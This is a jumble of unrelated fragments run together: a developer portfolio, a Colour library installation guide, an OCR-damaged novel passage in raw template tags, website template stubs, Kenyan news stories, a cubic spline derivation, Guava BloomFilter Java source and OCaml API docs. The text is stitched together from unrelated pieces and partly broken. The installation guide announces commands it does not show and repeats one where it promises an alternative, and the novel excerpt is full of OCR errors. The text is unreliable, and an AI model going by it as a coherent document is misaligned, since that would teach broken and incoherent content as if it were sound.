I built an application that manages job applications received by a single company. I used a dummy database to test the functionality of the application. The application was developed using a relational database, then replaced using document database to reduce linking. As a final step of the development, an in-memory database was added.
GitHub -
ChatBot with Recipe
This is a group project where we built a chatbot that responds to a recipe request and a general conversation. The chatbot was incorporated using neural network model and rule-based model to provide a response. A GUI was used to takes the user’s input and decides the appropriate model to call for a response.
-
Face Mask Detection
The purpose of the project is to demonstrate the practice of software engineering principles in a group environment. Insipired by some challenges of the COVID-19 pandemic, this web based application could detect when a person is properly wearing a mask. I participated in the web development team where I developed a web structure that will serve as the platform for our AI-based face mask detection model. To keep all the commits organized and reduce risk of accidental overwrite, we designate 2 people to review every merge request. I was the reviewer from the web development team, working together with one more reviewer from the backend team to review every merge request.


Installation Guide
Dependencies
Colour requires various dependencies in order to run and follows the minimum supported versions as given by Scientific Python. Depending on your intended use case, i.e. using or developing, you may not need to install all of them.
Please refer to the Installation Methods for Using Colour and Installation Methods for Developing Colour sections below.
Primary Dependencies
Optional, Meshing and Plotting Dependencies
Development Dependencies
Installation Methods for Using Colour
Pypi
Colour can be easily installed from the Python Package Index by issuing this command in a shell:
This asciicast demonstrates how to generate a pristine Python VirtualEnv environment for Colour:
The optional features dependencies are installed as follows:
The development dependencies are installed as follows:
The graphviz figure plotting dependencies are installed as follows:
pip install --user 'colour-science[graphviz]'
The meshing dependencies for gamut computations are installed as follows:
If you wish to read OpenEXR files, you will need to install the FreeImage plugin for Imageio as follows:
Continuum Analytics Anaconda
Colour is also available for Anaconda from Continuum Analytics via conda-forge:
This asciicast demonstrates how to generate a pristine Python conda environment for Colour:
Github
Alternatively, you can also install directly from Github source repository:
Installation Methods for Developing Colour
Poetry
Colour adopts Poetry to help managing its dependencies, this is the recommended way to get started with Colour development.
Assuming python >= 3.8, < 3.11 is available on your system, the development dependencies are installed with Poetry as follows:
git clone git://github.com/colour-science/colour.git cd colour poetry install --with dev,graphviz,meshing,optional
If Graphviz is available on your system, you might issue the following commands instead of the aforementioned ones:
git clone git://github.com/colour-science/colour.git cd colour poetry install --with dev,graphviz,meshing,optional
Those commands will create a Virtual Environment in which all the required python packages will be installed.
Tools can then be run as follows:
or alternatively:
Vagrant
An easy way to get all the pre-requisites at once is to use our colour-vagrant environment for Vagrant.
Please refer to the dedicated blog post for more details about its deployment: PyCharm, Vagrant, Ansible & Poetry


 " The{% endraw %}
{% raw %}moon is shining brightly, there is a breeze and no dew—run{% endraw %}
{% raw %}and ask Mrs. Wyman if you may not take a walk with me{% endraw %}
{% raw %}down by the river-bank."{% endraw %}
{% raw %}The needful consent was obtained, acoomp.anied by injunc¬{% endraw %}
{% raw %}tions not to be gone long, and to keep -well wrapped up.{% endraw %}
{% raw %}Alicia felt very happy as she walked beside the tall and{% endraw %}
{% raw %}strong young man, her arm drawn through his, and one hand{% endraw %}
{% raw %}snugly stowed away in his broader palm.{% endraw %}
{% raw %}" And so you will uot let this Frenchman send you to school{% endraw %}
{% raw %}unless I give my consent to the arrangement ?" he asked, with{% endraw %}
{% raw %}a little triumph in his voice,{% endraw %}
{% raw %}" I should be very unhappy if I thought you did not like{% endraw %}
{% raw %}it," she answered.{% endraw %}
{% raw %}" Why should you be unhappy to displease only me if your{% endraw %}
{% raw %}other friends approved ? Am I of so much consequence in{% endraw %}
{% raw %}your esteem that you prefer my ajiprobation to theirs? That{% endraw %}
{% raw %}is a very high compliment indeetl."{% endraw %}
{% raw %}/ " I am sure you deserve it, if it is. You were my first{% endraw %}
{% raw %}friend, .and I believed my best friend, and so you became my{% endraw %}
{% raw %}dearest friend ; and though I know I am not worthy, I am{% endraw %}
{% raw %}proud when you call me ' !ittle sister.' "{% endraw %}
{% raw %}" But I don't intend to ca-II you ' little sister ' any more. I{% endraw %}
{% raw %}have thought of another name I would prefer to call you by.{% endraw %}
{% raw %}Let us sit down here on this fallen tree and listen to the mur¬{% endraw %}
{% raw %}mur of the river, and t.alk about the new name."{% endraw %}


I know what you're thinking. "Wow, this website is pretty blank." I agree with you, but there's more to a blank website than meets the eye.  This canvas hasn't recieved that luxury yet, but it soon will.


Welcome to Super Rentals!
We hope you find exactly what you're looking for in a place to stay.
About Us Searching rentals...
-
{% include "_search.html" %}
{% extends "layouts/default.html" %} {% block title %}Home - Super Rentals{% endblock %} {% block content %}
We hope you find exactly what you're looking for in a place to stay.
About Us


Gondi Gospel Songs
Your brower does not support audio streaming. Please use the link below to download the audio.
01 Mannuva Prabhu
02 Nimma Maha
03 Nimma Pavithra
04 Ondu dina
05 Yeeshuna Jai
06 Yehovah Pedhedhu


Phylogenetic tree showing the history of the human gene {{target.symbol}} based on protein sequences from Ensembl . All branches in this tree have the same length (unscaled branches). You can also view the branches in different lengths based on the number of evolutionary changes in the tree (select scaled branches) All species are shown by default, but you can prune it to a subset of species by unticking the species accordingly. Check Protein trees and orthologies for further details.
No gene tree has been found for {{target.symbol}}.
| Species | Homology type | Orthologue | dN/dS | Query %id | Target %id |
|---|---|---|---|---|---|
| Species | Homology type |


Njonjo's Daughter's Near-Death Experience That Led Her to Husband
by Stephanie WangariWairimu Njonjo is the firstborn daughter of Charles Njonjo, a veteran politician and the former attorney general.
Ms Wairimu is a lawyer by profession and has practised criminal law at the London bar.
However, five years after graduating with a masters in law, she came back to Kenya in 2004, where she dropped her career and decided to follow her passion.
The veteran politician's daughter is an enthusiastic diver and a fully qualified Professional Association of Diving Instructors (PADI) diving instructor.
Wairimu is also married to a German marine conservationist, Volker Bassen, a man who literally saved her life in a near-death experience.
Bassen rescued her when she got involved in a boat accident while on a diving expedition.
"A freak wave hit our boat hard, overturning it during a diving excursion in the South Coast. I lay trapped under the boat with a fractured eye socket after a metal frame hit my sunglasses.
 Volker managed to retrieve me from under the boat and swam with me to the shore," Wairimu stated in a previous interview with The Standard.
Wairimu's husband later took her to Diani Beach Hospital where she got medical attention.
Their friendship started from then on and in 2009, the two got married in a private wedding.
The couple has founded the East African Whale Shark Trust (EAWST), which helps to conserve the endangered whale shark.
"Our aim in starting this work was to pressurise the Kenya Wildlife Service (KWS) which has jurisdiction over marine creatures to ban hunting of whale sharks along the Kenyan coastline," she stated in a previous interview.


Cubic Spline¶
We consider here a cubic spline passing through the points (x_i,y_i) with a=x_1<\ldots<x_n=b, that is, a class function {\mathcal C}^2 on [a, b] and each restriction at the interval [x_{i-1},x_i], 1\leq i\leq n, is a polynomial of degree less than 3. We will note S such a spline. His equation is given by
S_i(x) = Ay_i + By_{i+1} + Cy''_i+ D y''_{i+1}, \qquad x_{i}\leq x\leq x_{i+1},
where
A = \frac{x_{i+1}-x}{x_{i+1} - x_i} \qquad \text{et} \qquad B = \frac{x-x_i}{x_{i+1} - x_i},
C = \frac{1}{6}\left(A^3-A\right)\left(x_{i+1}-x_i\right)^2 \qquad \text{et} \qquad D = \frac{1}{6}\left(B^3-B\right)\left(x_{i+1}-x_i\right)^2.
If we derive this equation twice with respect to x, we get
\frac{d^2S(x)}{d x} = Ay''_i + By''_{i+1}.
Since A = 1 in x_i and A = 0 in x_ {i + 1} and conversely for B, we can see that the second derivative is continuous at the interface of the two intervals [x_{i-1}, x_{i}] and [x_{i}, x_{i + 1}].
It remains to determine the expression of y''_i. To do this, we will calculate the first derivative and impose that it is continuous at the interface of two intervals. The first derivative is given by
\frac{dy}{dx}=\frac{y_{i+1}-y_{i}}{x_{i+1}-x_{i}}-\frac{3A^2-1}{6}(x_{i+1}-x_{i})y''_i+\frac{3B^2-1}{6}(x_{i+1}-x_{i})y''_{i+1}.
We therefore want the value of the first derivative in x = x_i over the interval [x_{i-1}, x_{i}] to be equal to the value of the first derivative in x = x_i over the interval [x_{i}, x_{i + 1}]; which gives us for i = 2, \dots, n-1
a_iy''_{i-1}+b_iy''_i+c_iy''_{i+1}=d_i,
with
\begin{array}{l} a_i = \frac{x_i-x_{i-1}}{x_{i+1}-x_{i-1}}\\ b_i = 2\\ c_i = \frac{x_{i+1}-x_{i}}{x_{i+1}-x_{i-1}}\\ d_i = \frac{6}{x_{i+1}-x_{i-1}}\left(\frac{y_{i+1}-y_{i}}{x_{i+1}-x_{i}}-\frac{y_{i}-y_{i-1}}{x_{i}-x_{i-1}}\right). \end{array}
So we have n-2 linear equations to calculate the n unknowns y''_i for i = 1, \dots, n. So we have to make a choice for the first and last values and we will take them equal to zero. We can recognize the resolution of a system with a tridiagonal matrix. It is then easy to solve it by using the algorithm of Thomas which one recalls the principle
c'_i=\left\{ \begin{array}{lr} \frac{ci}{b_i}&i=1\\ \frac{c_i}{b_i-a_ic'_{i-1}}&i=2,\dots,n. \end{array} \right.
d'_i=\left\{ \begin{array}{lr} \frac{di}{b_i}&i=1\\ \frac{d_i-a_id'_{i-1}}{b_i-a_ic'_{i-1}}&i=2,\dots,n. \end{array} \right.
The solution is then obtained by the formula
\begin{array}{l} y''_n = d'_n \\ y''_i = d'_i-c'_iy''_{i+1} \qquad \text{pour} \qquad i=n-1,\dots,1. \end{array}


We use modals a lot at NGI to show product copy, legal content, and even in Cortana to get quotes. What I need is the javascript end figured out. To the right is a set of requirements for this project which was heavily influenced by the way modals work in the Foundation Framework.


{% extends "base.html" %} {% if plus_id %} {% block scripts %} {% endblock %} {% endif %} {% block content %}
Your username and password didn't match. Please try again.


--- subject: newedm --- View in Browser NEW IN FLASH SALE DRESSES LINEN CLOTH TOPS KNITWEAR OUTERWEAR SET
View in Browser


LOCALE_SLONGDATE
Long date formatting string for this locale. The string can consist of a combination of day, month, and year format pictures defined in Day, Month, Year, and Era Format Pictures table in National Language Support Constants. The maximum number of characters allowed for this string is 80.


We got metrics!
- empower plug-and-play action-items
- transition mission-critical markets
- recontextualize scalable schemas
- disintermediate killer technologies
- harness frictionless applications
- monetize ubiquitous infomediaries
- drive clicks-and-mortar infrastructures
- cultivate clicks-and-mortar vortals
- extend holistic e-markets
- disintermediate back-end infrastructures


BasicObject
Thomas Sawyer’s Functor Class slightly modified for Ruby 1.9 facets.rubyforge.org/apidoc/api/core/classes/Functor.html
# File lib/core/functor.rb, line 6 def initialize(&proc) @proc = proc end
# File lib/core/functor.rb, line 14 def method_missing(method_name, *args, &block) @proc.call(method_name, *args, &block) end
# File lib/core/functor.rb, line 10 def to_proc @proc end
[Validate]
Generated with the Darkfish Rdoc Generator 2.


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001 /* 002 * Copyright (C) 2011 The Guava Authors 003 * 004 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 005 * in compliance with the License. You may obtain a copy of the License at 006 * 007 * http://www.apache.org/licenses/LICENSE-2.0 008 * 009 * Unless required by applicable law or agreed to in writing, software distributed under the License 010 * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express 011 * or implied. See the License for the specific language governing permissions and limitations under 012 * the License. 013 */ 014 015 package com.google.common.hash; 016 017 import static com.google.common.base.Preconditions.checkArgument; 018 import static com.google.common.base.Preconditions.checkNotNull; 019 020 import com.google.common.annotations.Beta; 021 import com.google.common.annotations.VisibleForTesting; 022 import com.google.common.base.Preconditions; 023 import com.google.common.hash.BloomFilterStrategies.BitArray; 024 025 import java.io.Serializable; 026 027 /** 028 * A Bloom filter for instances of {@code T}. A Bloom filter offers an approximate containment test 029 * with one-sided error: if it claims that an element is contained in it, this might be in error, 030 * but if it claims that an element is not contained in it, then this is definitely true. 031 * 032 *
If you are unfamiliar with Bloom filters, this nice 033 * tutorial may help you understand 034 * how they work. 035 * 036 * @param <T> the type of instances that the {@code BloomFilter} accepts 037 * @author Dimitris Andreou 038 * @author Kevin Bourrillion 039 * @since 11.0 040 */ 041 @Beta 042 public final class BloomFilter<T> implements Serializable { 043 /* 044 * TODO(user): add this above (when the other serial form is published): 045 *
Bloom filters are serializable, but also support a more compact serial 046 * representation via the {} and {} methods. Both serialized forms will continue to 047 * be supported by future versions of this library. 048 */ 049 050 /** 051 * A strategy to translate T instances, to {@code numHashFunctions} bit indexes. 052 * 053 *
Implementations should be collections of pure functions (i.e. stateless). 054 */ 055 interface Strategy extends java.io.Serializable { 056 057 /** 058 * Sets {@code numHashFunctions} bits of the given bit array, by hashing a user element. 059 * 060 *
Returns whether any bits changed as a result of this operation. 061 */ 062 <T> boolean put(T object, Funnel<? super T> funnel, int numHashFunctions, BitArray bits); 063 064 /** 065 * Queries {@code numHashFunctions} bits of the given bit array, by hashing a user element; 066 * returns {@code true} if and only if all selected bits are set. 067 */ 068 <T> boolean mightContain( 069 T object, Funnel<? super T> funnel, int numHashFunctions, BitArray bits); 070 071 /** 072 * Identifier used to encode this strategy, when marshalled as part of a BloomFilter. 073 * Only values in the [-128, 127] range are valid for the compact serial form. 074 * Non-negative values are reserved for enums defined in BloomFilterStrategies; 075 * negative values are reserved for any custom, stateful strategy we may define 076 * (e.g. any kind of strategy that would depend on user input). 077 */ 078 int ordinal(); 079 } 080 081 /** The bit set of the BloomFilter (not necessarily power of 2!)*/ 082 private final BitArray bits; 083 084 /** Number of hashes per element */ 085 private final int numHashFunctions; 086 087 /** The funnel to translate Ts to bytes */ 088 private final Funnel<T> funnel; 089 090 /** 091 * The strategy we employ to map an element T to {@code numHashFunctions} bit indexes. 092 */ 093 private final Strategy strategy; 094 095 /** 096 * Creates a BloomFilter. 097 */ 098 private BloomFilter(BitArray bits, int numHashFunctions, Funnel<T> funnel, 099 Strategy strategy) { 100 Preconditions.checkArgument(numHashFunctions > 0, "numHashFunctions zero or negative"); 101 this.bits = checkNotNull(bits); 102 this.numHashFunctions = numHashFunctions; 103 this.funnel = checkNotNull(funnel); 104 this.strategy = strategy; 105 106 /* 107 * This only exists to forbid BFs that cannot use the compact persistent representation. 108 * If it ever throws, at a user who was not intending to use that representation, we should 109 * reconsider 110 */ 111 if (numHashFunctions > 255) { 112 throw new AssertionError("Currently we don't allow BloomFilters that would use more than" + 113 "255 hash functions, please contact the guava team"); 114 } 115 } 116 117 /** 118 * Creates a new {@code BloomFilter} that's a copy of this instance. The new instance is equal to 119 * this instance but shares no mutable state. 120 * 121 * @since 12.0 122 */ 123 public BloomFilter<T> copy() { 124 return new BloomFilter<T>(bits.copy(), numHashFunctions, funnel, strategy); 125 } 126 127 /** 128 * Returns {@code true} if the element might have been put in this Bloom filter, 129 * {@code false} if this is definitely not the case. 130 */ 131 public boolean mightContain(T object) { 132 return strategy.mightContain(object, funnel, numHashFunctions, bits); 133 } 134 135 /** 136 * Puts an element into this {@code BloomFilter}. Ensures that subsequent invocations of 137 * {@link #mightContain(Object)} with the same element will always return {@code true}. 138 * 139 * @return true if the bloom filter's bits changed as a result of this operation. If the bits 140 * changed, this is definitely the first time {@code object} has been added to the 141 * filter. If the bits haven't changed, this might be the first time {@code object} 142 * has been added to the filter. Note that {@code put(t)} always returns the 143 * opposite result to what {@code mightContain(t)} would have returned at the time 144 * it is called." 145 * @since 12.0 (present in 11.0 with {@code void} return type}) 146 */ 147 public boolean put(T object) { 148 return strategy.put(object, funnel, numHashFunctions, bits); 149 } 150 151 /** 152 * {@inheritDoc} 153 * 154 *
This implementation uses reference equality to compare funnels. 155 */ 156 @Override public boolean equals(Object o) { 157 if (o instanceof BloomFilter) { 158 BloomFilter<?> that = (BloomFilter<?>) o; 159 return this.numHashFunctions == that.numHashFunctions 160 && this.bits.equals(that.bits) 161 && this.funnel == that.funnel 162 && this.strategy == that.strategy; 163 } 164 return false; 165 } 166 167 @Override public int hashCode() { 168 return bits.hashCode(); 169 } 170 171 @VisibleForTesting int getHashCount() { 172 return numHashFunctions; 173 } 174 175 @VisibleForTesting double computeExpectedFalsePositiveRate(int insertions) { 176 return Math.pow( 177 1 - Math.exp(-numHashFunctions * ((double) insertions / (bits.size()))), 178 numHashFunctions); 179 } 180 181 /** 182 * Creates a {@code Builder} of a {@link BloomFilter BloomFilter<T>}, with the expected number 183 * of insertions and expected false positive probability. 184 * 185 *
Note that overflowing a {@code BloomFilter} with significantly more elements 186 * than specified, will result in its saturation, and a sharp deterioration of its 187 * false positive probability. 188 * 189 *
The constructed {@code BloomFilter<T>} will be serializable if the provided 190 * {@code Funnel<T>} is. 191 * 192 *
It is recommended the funnel is implemented as a Java enum. This has the benefit of ensuring 193 * proper serialization and deserialization, which is important since {@link #equals} also relies 194 * on object identity of funnels. 195 * 196 * @param funnel the funnel of T's that the constructed {@code BloomFilter<T>} will use 197 * @param expectedInsertions the number of expected insertions to the constructed 198 * {@code BloomFilter<T>}; must be positive 199 * @param falsePositiveProbability the desired false positive probability (must be positive and 200 * less than 1.0) 201 * @return a {@code BloomFilter} 202 */ 203 public static <T> BloomFilter<T> create(Funnel<T> funnel, int expectedInsertions /* n */, 204 double falsePositiveProbability) { 205 checkNotNull(funnel); 206 checkArgument(expectedInsertions > 0, "Expected insertions must be positive"); 207 checkArgument(falsePositiveProbability > 0.0 & falsePositiveProbability < 1.0, 208 "False positive probability in (0.0, 1.0)"); 209 /* 210 * andreou: I wanted to put a warning in the javadoc about tiny fpp values, 211 * since the resulting size is proportional to -log(p), but there is not 212 * much of a point after all, e.g. optimalM(1000, 0.0000000000000001) = 76680 213 * which is less that 10kb. Who cares! 214 */ 215 int numBits = optimalNumOfBits(expectedInsertions, falsePositiveProbability); 216 int numHashFunctions = optimalNumOfHashFunctions(expectedInsertions, numBits); 217 return new BloomFilter<T>(new BitArray(numBits), numHashFunctions, funnel, 218 BloomFilterStrategies.MURMUR128_MITZ_32); 219 } 220 221 /** 222 * Creates a {@code Builder} of a {@link BloomFilter BloomFilter<T>}, with the expected number 223 * of insertions, and a default expected false positive probability of 3%. 224 * 225 *
Note that overflowing a {@code BloomFilter} with significantly more elements 226 * than specified, will result in its saturation, and a sharp deterioration of its 227 * false positive probability. 228 * 229 *
The constructed {@code BloomFilter<T>} will be serializable if the provided 230 * {@code Funnel<T>} is. 231 * 232 * @param funnel the funnel of T's that the constructed {@code BloomFilter<T>} will use 233 * @param expectedInsertions the number of expected insertions to the constructed 234 * {@code BloomFilter<T>}; must be positive 235 * @return a {@code BloomFilter} 236 */ 237 public static <T> BloomFilter<T> create(Funnel<T> funnel, int expectedInsertions /* n */) { 238 return create(funnel, expectedInsertions, 0.03); // FYI, for 3%, we always get 5 hash functions 239 } 240 241 /* 242 * Cheat sheet: 243 * 244 * m: total bits 245 * n: expected insertions 246 * b: m/n, bits per insertion 247 248 * p: expected false positive probability 249 * 250 * 1) Optimal k = b * ln2 251 * 2) p = (1 - e ^ (-kn/m))^k 252 * 3) For optimal k: p = 2 ^ (-k) ~= 0.6185^b 253 * 4) For optimal k: m = -nlnp / ((ln2) ^ 2) 254 */ 255 256 private static final double LN2 = Math.log(2); 257 private static final double LN2_SQUARED = LN2 * LN2; 258 259 /** 260 * Computes the optimal k (number of hashes per element inserted in Bloom filter), given the 261 * expected insertions and total number of bits in the Bloom filter. 262 * 263 * See http://en.wikipedia.org/wiki/File:Bloom_filter_fp_probability.svg for the formula. 264 * 265 * @param n expected insertions (must be positive) 266 * @param m total number of bits in Bloom filter (must be positive) 267 */ 268 @VisibleForTesting static int optimalNumOfHashFunctions(int n, int m) { 269 return Math.max(1, (int) Math.round(m / n * LN2)); 270 } 271 272 /** 273 * Computes m (total bits of Bloom filter) which is expected to achieve, for the specified 274 * expected insertions, the required false positive probability. 275 * 276 * See http://en.wikipedia.org/wiki/Bloom_filter#Probability_of_false_positives for the formula. 277 * 278 * @param n expected insertions (must be positive) 279 * @param p false positive rate (must be 0 < p < 1) 280 */ 281 @VisibleForTesting static int optimalNumOfBits(int n, double p) { 282 return (int) (-n * Math.log(p) / LN2_SQUARED); 283 } 284 285 private Object writeReplace() { 286 return new SerialForm<T>(this); 287 } 288 289 private static class SerialForm<T> implements Serializable { 290 final long[] data; 291 final int numHashFunctions; 292 final Funnel<T> funnel; 293 final Strategy strategy; 294 295 SerialForm(BloomFilter<T> bf) { 296 this.data = bf.bits.data; 297 this.numHashFunctions = bf.numHashFunctions; 298 this.funnel = bf.funnel; 299 this.strategy = bf.strategy; 300 } 301 Object readResolve() { 302 return new BloomFilter<T>(new BitArray(data), numHashFunctions, funnel, strategy); 303 } 304 private static final long serialVersionUID = 1; 305 } 306 }


module Table:sig
..end
Table.
Tables are used to partition memory region into a set of
non-intersecting areas. Each area is assosiated with arbitrary
value of type 'a
bound to the type of the table.
All operations over tables are purely applicative, i.e. there is no observable side-effects. Although, they employ some kind of caching underneath the hood, so that they perform better if they're build once and used many times.
Tables can be also linked. For example, if you have two tables
mapping the same memory region to a different sets of values, you
can create a mapping from one set of values to another. See link
function for mode details.
type'a
t ='a Std.table
type'a
hashable ='a Hashtbl.Hashable.t
val empty : 'a t
creates an empty table
val singleton : Std.mem -> 'a -> 'a t
creates a table containing one bindins
val add : 'a t ->
Std.mem -> 'a -> 'a t Or_error.t
add table mem v
returns a new table with added mapping from a
mem region mem
to a data value v
val remove : 'a t -> Std.mem -> 'a t
returns a new table with all mappings from the mem region
mem
removed
val change : 'a t ->
Std.mem ->
f:((Std.mem * 'a) Std.seq ->
[ `ignore
| `rebind of Std.mem * 'a
| `remove
| `update of Std.mem * 'a -> 'a ]) ->
'a t
change tab mem ~f
function f
is applied to a set of all memory
regions that intersects with mem
. If function f
evaluates to
`remap (new_mem,y)
then all memory regions that have had
intersections with mem
will be removed from the new map and
memory region new_mem
will be mapped to y
. If f
evaluates to
`remove
, then the regions will be removed, and nothing will be
added. If it evaluates to `skip
then the table will be returned
unchanged. Intersections are passed sorted in an ascending order.
val length : 'a t -> int
length table
returns a number of entries in the table
val find : 'a t -> Std.mem -> 'a option
find table mem
finds an element mapped to the memory region mem
val find_addr : 'a t -> Std.addr -> (Std.mem * 'a) option
find_addr tab addr
finds a memory region that contains a
specified addr
val intersections : 'a t -> Std.mem -> (Std.mem * 'a) Std.seq
intersections table mem
returns all mappings in a table
that
have intersections with mem
val fold_intersections : 'a t ->
Std.mem -> init:'b -> f:(Std.mem -> 'a -> 'b -> 'b) -> 'b
fold_intersections table mem
folds over all regions
intersecting with mem
val has_intersections : 'a t -> Std.mem -> bool
has_intersections tab mem
is true iff some portion of mem
is
is already mapped in tab
.
val mem : 'a t -> Std.mem -> bool
mem table mem
is true if table contains mem region mem
val next : 'a t -> Std.mem -> (Std.mem * 'a) option
next table elt
returns element next to elt
, if any
val prev : 'a t -> Std.mem -> (Std.mem * 'a) option
next table elt
returns element preceding to elt
, if any
val min : 'a t -> (Std.mem * 'a) option
min tab
return the lowest binding
val max : 'a t -> (Std.mem * 'a) option
max tab
return the highest binding
type ('a, 'm)
r
Relation multiplicity.
For a given type 'a
creates type 'm
val many : ('a, 'a Std.seq) r
0..*
val one : ('a, 'a) r
1..1
val maybe_one : ('a, 'a option) r
0..1
link relation t t1 t2
takes two tables and returns a mapping
from elements of one table to elements of other table.
Parameter t
specifies a hashable
typeclass of the type 'a
. If
type 'a
implements Hashable
interface, then you can obtain it
with hashable
function, e.g. Int.hashable
with return the
appropriate type class. If 'a
doesn't implement Hashable
, then
it can be implemented manually.
Relation specifies the multiplicity of the relation between
entities from table t1
to entities from table t2
, and is
summarized below:
one_to_many
means that a particular region from table t1
can
span several memory regions from table t2
. Example: segments
to symbols relation.one_to_one
means that for each value of type 'a
there is
exactly one value of type 'b
. This relation should be used with
caution, since it is quantified over _all_ values of type
'a
. Indeed, it should be used only for cases, when it can be
guaranteed, that it is impossible to create such value of type
'b
, that has no correspondence in table t2
. Otherwise,
one_to_maybe_one
relation should be used. Example: llvm
machine code to assembly string relation.one_to_maybe_one
means that for each value in table t1
there
exists at most one value in table t2
. Example: function to
symbol relation. let mc_of_insn = link one_to:one Insn.hashable insns mcs
let syms_of_sec = link one_to:many Sec.hashable secs syms
val rev_map : one_to:(Std.mem, 'r) r ->
'a hashable ->
'a t -> ('a -> 'r) Or_error.t
rev_map arity t tab
creates a reverse mapping from values of
typeclass t
stored in table tab
to memory regions.
Note. not every mapping is reversable, for example, trying to obtain
a reverse of surjective mapping as a one-to-one mapping will
result in an error. But surjective mappings can be reversed
using ~one_to:many
mapping. A particular example of surjective
mapping is symbol
tables, in a case when functions can occupy
several non-contiguous regions of memory.
For example, to create a mapping from a function symbol to sequence of memory regions with it code:
rev_map one_to:many Sym.hashable tab
type'a
ranged =?start:Std.mem -> ?until:Std.mem -> 'a
This section provides a common set of iterators. Note: name iterator is used in a functional meaning, i.e., an iterator is a function that takes a data structure and another function, and applies it to all elements in some manner.
All iterators share some common part of interface that was lifted
to a 'a ranged
type. When you see
('a t -> f:('a -> bool) -> bool) ranged
just mentally substitute it with:
?start -> ?until -> 'a t -> f:('a -> bool) -> bool
.
In other words 'f ranged
just prepends ?start -> ?until ->
to
function with type 'f
(do not forget that 'f
can be an arrow
type).
start
and until
parameters narrows iteration to some
subset of table. If they are unspecified then iteration would
be performed on all table entries in an ascending order of
addresses. If they are specified, then if start <= until
,
then iteration will be performed in the same order but on a
specified subset. In the case, when start > until
, iteration
will be performed in a decreasing order.
val exists : ('a t -> f:('a -> bool) -> bool) ranged
exists ~start ~until ~f table
checks if at least one
element of table
satisfies the predicate f
.
val for_all : ('a t -> f:('a -> bool) -> bool) ranged
for_all ~start ~until ~f table
checks if all elements
of table
satisfies the predicate f
.
val existsi : ('a t -> f:(Std.mem -> 'a -> bool) -> bool)
ranged
existsi ~start ~until ~f table
is like Std.Table.exists
, but
also passes the memory as an argument.
val for_alli : ('a t -> f:(Std.mem -> 'a -> bool) -> bool)
ranged
for_alli ~start ~until ~f table
is like Std.Table.for_all
, but
also passes the memory as an argument.
val count : ('a t -> f:('a -> bool) -> int) ranged
count ~start ~until ~f table
returns the number of elements
table
that satisfy the predicate p
val find_if : ('a t -> f:('a -> bool) -> 'a option) ranged
find_if ~start ~until ~f table
returns the first element of
table
that satisfies the predicate p
or None if no elements
satisfied
val find_map : ('a t -> f:('a -> 'b option) -> 'b option) ranged
find_map ~start ~until ~f table
returns the first evaluation
of f
that returns Some
or None if f
always returns None
val fold : ('a t -> init:'b -> f:('a -> 'b -> 'b) -> 'b)
ranged
fold ~start ~until ~init ~f table
returns a fold over
table
in form f elt_n ( ... (f elt_2 (f (elt_1 acc))) ... )
val iter : ('a t -> f:('a -> unit) -> unit) ranged
iter ~start ~until ~f table
applies function f
in turn to
elements of table
val find_mapi : ('a t -> f:(Std.mem -> 'a -> 'b option) -> 'b option)
ranged
find_mapi ~start ~until ~f table
is like Std.Table.find_map
, but
also passes the memory as an argument.
val foldi : ('a t -> init:'b -> f:(Std.mem -> 'a -> 'b -> 'b) -> 'b)
ranged
foldi ~start ~until ~f table
is like Std.Table.fold
, but
also passes the memory as an argument.
val iteri : ('a t -> f:(Std.mem -> 'a -> unit) -> unit)
ranged
ieri ~start ~until ~f table
is like Std.Table.iter
, but
also passes the memory as an argument.
val map : ('a t -> f:('a -> 'b) -> 'b t)
ranged
map ~start ~until ~f table
applies f
to elements of
table
and builds new table with results returned by f
val mapi : ('a t -> f:(Std.mem -> 'a -> 'b) -> 'b t)
ranged
mapi ~start ~until ~f table
is like Std.Table.map
, but
also passes the memory as an argument.
val filter : ('a t -> f:('a -> bool) -> 'a t)
ranged
filter ~start ~until ~f table
removes all mappings from
table
that doesn't satisfies the predicate f
val filter_map : ('a t -> f:('a -> 'b option) -> 'b t)
ranged
filter_map ~start ~until ~f table
return a subtable of
table
containing only elements for which f
returns
Some
val filteri : ('a t -> f:(Std.mem -> 'a -> bool) -> 'a t)
ranged
filteri ~start ~until ~f table
is like Std.Table.filter
, but
also passes the memory as an argument.
val filter_mapi : ('a t ->
f:(Std.mem -> 'a -> 'b option) -> 'b t)
ranged
filter_mapi ~start ~until ~f table
is like Std.Table.filter_map
, but
also passes the memory as an argument.
val to_sequence : ('a t -> (Std.mem * 'a) Std.seq) ranged
to_sequence ~start ~until table
converts the table
to a
sequence of key-value pairs.
val regions : ('a t -> Std.mem Std.seq) ranged
regions table
returns in an ascending order of addresses all
memory regions mapped in a table
val elements : ('a t -> 'a Std.seq) ranged
elements table
returns in an ascending order of addresses all
elements mapped in a table
val pp : 'a Std.printer -> 'a t Std.printer
pp printer
- creates a printer for table from value printer


Panic As Aircraft Crash Lands, Overturns At Nyaribo Airstrip In Nyeri [Photos]
by WycliffeThere was panic at Nyaribo airstrip in Nyeri County on Monday morning after a light aircraft crash-landed shortly after takeoff.
The aircraft, a Cessna 12, registration number 5Y-BZK, overturned a few metres from the runway.
No casualties were reported during the incident.
A spot check conducted by this writer has revealed that the aircraft is operated by Nairobi Flight Training school.
Nyaribo Airstrip is 15 minutes’ drive from Nyeri town with a 1.2 Kilometre runway. It was launched in October 2018.
Read: Trainee Pilot Crash-lands Plane In Malindi After Losing Front Wheel Mid-air
The incident comes at a time the aviation industry is on the spot over safety concerns.
Last week, a light aircraft made an emergency landing at the Malindi International Aiport after losing one of its wheels mid-air.
The aircraft, Cessna 152, belonging to the Kenya School of Flying, was being operated by a trainee pilot during the incident. He was the sole occupant of the plane.
Malindi airport manager Mohammed Karama confirmed the incident saying the trainee identified as Emmanuel Omindi had to fly for two hours to avoid explosion when landing.
“The control tower noticed that its fore wheel was missing while mid-air and the pilot was advised to fly for two hours due to security reasons,” said Karama.
Read Also: Silverstone Air Aircraft Crash Lands At Wilson Airport Shortly After Take Off (Photos)
No casualties were reported during the incident.
“He crash-landed but he did not suffer injuries, although he was taken to the hospital together with his tutor who was directing him while mid-air for psychological counselling due to trauma,” he said.
Recently, the Kenya Civil Aviation Authority industry suspended Silverstone Air flight over incidents and accidents involving planes operated by the airline.
KCAA lifted the suspension last week saying, the carrier had provided satisfactory corrective measures following comprehensive compliance audits on its operations between October 25 and November 15, 2019.


Related JIRA Ticket. It should be possible to correctly handle positive numbers with decimals inside of numeric Mask-controlled input fields. Using either of the two input fields below, entering "12345600" with negative or positive values should result in a correctly-masked value.


